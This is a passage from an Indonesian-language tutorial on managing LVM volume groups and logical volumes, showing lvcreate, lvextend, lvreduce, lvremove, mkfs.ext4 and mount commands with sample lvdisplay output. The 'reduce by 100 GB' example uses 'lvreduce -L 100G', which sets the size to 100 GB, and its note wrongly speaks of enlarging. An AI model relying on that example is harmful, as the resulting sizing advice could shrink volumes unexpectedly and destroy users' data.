&lt;/span&gt;&lt;span&gt;vg_data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;6. Renaming VG&lt;a href=&quot;#6-renaming-vg&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk mengganti nama VG:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ganti &quot;vg_data&quot; dengan nama VG yang ingin diganti namanya&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vgrename&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vg_data&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vg_storage&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;LV (Logical Volume)&lt;a href=&quot;#lv-logical-volume&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;section&gt;&lt;h5&gt;1. Creating LV&lt;a href=&quot;#1-creating-lv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk membuat LV dengan ukuran spesifik:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvcreate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-L&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;200G&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-n&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lv_home&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vg_data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# lv_home adalah nama LV, bebas kalian tentukan sendiri&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ganti vg_data dengan nama VG yang ingin kalian buatkan LV di atasnya&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk membuat LV berdasarkan persentase &lt;em&gt;free space&lt;/em&gt; di VG:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvcreate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;100%FREE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-n&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lv_home&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vg_data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# lv_home adalah nama LV, bebas kalian tentukan sendiri&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ganti vg_data dengan nama VG yang ingin kalian buatkan LV di atasnya&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;2. Showing LV info&lt;a href=&quot;#2-showing-lv-info&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk melihat info LV:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvdisplay&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;3. Extending LV size&lt;a href=&quot;#3-extending-lv-size&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk memperbesar ukuran LV:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# menambah 100 GB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvextend&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-r&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-L&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+100G&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/vg_data/lv_home&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Memperbesar ukuran LV menggunakan persentase &lt;em&gt;free space&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvextend&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-r&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+100%FREE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/vg_data/lv_home&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Perhatikan bahwa saya melampirkan tag &lt;code&gt;-r&lt;/code&gt; yang berarti mengikutsertakan langsung perubahan file system juga ketika memperbesar LV. Tag &lt;code&gt;-r&lt;/code&gt; atau &lt;code&gt;--resizefs&lt;/code&gt; tersebut biasanya hanya untuk file system ext4. Jika file system yang kita buat berbeda (misalnya NTFS), maka tidak bisa menggunakan tag tersebut dan harus me-&lt;em&gt;resize&lt;/em&gt; file system secara manual dengan perintah khusus.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;4. Reducing LV size&lt;a href=&quot;#4-reducing-lv-size&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk memperkecil/mengurangi ukuran LV:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# mengurangi 100 GB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvreduce&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-r&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-L&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;100G&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/vg_data/lv_home&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Perhatikan bahwa saya melampirkan tag &lt;code&gt;-r&lt;/code&gt; yang berarti mengikutsertakan langsung perubahan file system juga ketika memperbesar LV. Tag &lt;code&gt;-r&lt;/code&gt; atau &lt;code&gt;--resizefs&lt;/code&gt; tersebut biasanya hanya untuk file system ext4. Jika file system yang kita buat berbeda (misalnya NTFS), maka tidak bisa menggunakan tag tersebut dan harus me-&lt;em&gt;resize&lt;/em&gt; file system secara manual dengan perintah khusus.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;5. Removing LV&lt;a href=&quot;#5-removing-lv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk menghapus LV:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvremove&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/vg_data/lv_home&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;6. Renaming LV&lt;a href=&quot;#6-renaming-lv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk mengganti nama LV:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvrename&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vg_data&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lv_home&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lv_home_old&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Formatting&lt;a href=&quot;#formatting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Misalnya, sekarang, LV saya akan terlihat seperti ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvdisplay&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;--- Logical volume ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Path                /dev/vg_data/lv_secret&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Name                lv_secret&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;VG Name                vg_data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV UUID                GeRyzt-KgCc-qcpv-Zks8-vEYX-mQqb-H4aFii&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Write Access        read/write&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Creation host, time castle, 2026-07-12 15:30:47 +0700&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Status              available&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;# open                 0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Size                20.00 GiB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Current LE             5120&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Segments               1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Allocation             inherit&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Read ahead sectors     auto&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- currently set to     256&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Block device           252:0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sebelum bisa digunakan, LV yang baru saja dibuat perlu dibuatkan file system terlebih dahulu. Misalnya, saya akan membuatkan file system &lt;code&gt;ext4&lt;/code&gt; untuk LV yang baru saya buat:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mkfs.ext4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/vg_data/lv_secret&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikan LV tersebut sudah memiliki file system yang benar:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;e2fsck&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/vg_data/lv_secret&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Mounting&lt;a href=&quot;#mounting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;section&gt;&lt;h5&gt;1. via &lt;code&gt;/dev/mapper&lt;/code&gt;&lt;a href=&quot;#1-via-devmapper&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Setelah di-format file system, kita bisa me-&lt;em&gt;mounting&lt;/em&gt;-nya dari &lt;code&gt;/dev/mapper&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/mapper/vg_data-lv_secret&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mount/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;2. via &lt;code&gt;/dev/vg_data&lt;/code&gt;&lt;a href=&quot;#2-via-devvg_data&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Atau bisa juga dari &lt;code&gt;/dev/vg_data&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/vg_data/lv_secret&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mount/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sekarang, LV tersebut akan terlihat seperti ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvdisplay&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;--- Logical volume ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Path                /dev/vg_data/lv_secret&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Name                lv_secret&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;VG Name                vg_data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV UUID                GeRyzt-KgCc-qcpv-Zks8-vEYX-mQqb-H4aFii&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Write Access        read/write&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Creation host, time castle, 2026-07-12 15:30:47 +0700&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LV Status              available&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;# open                 1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  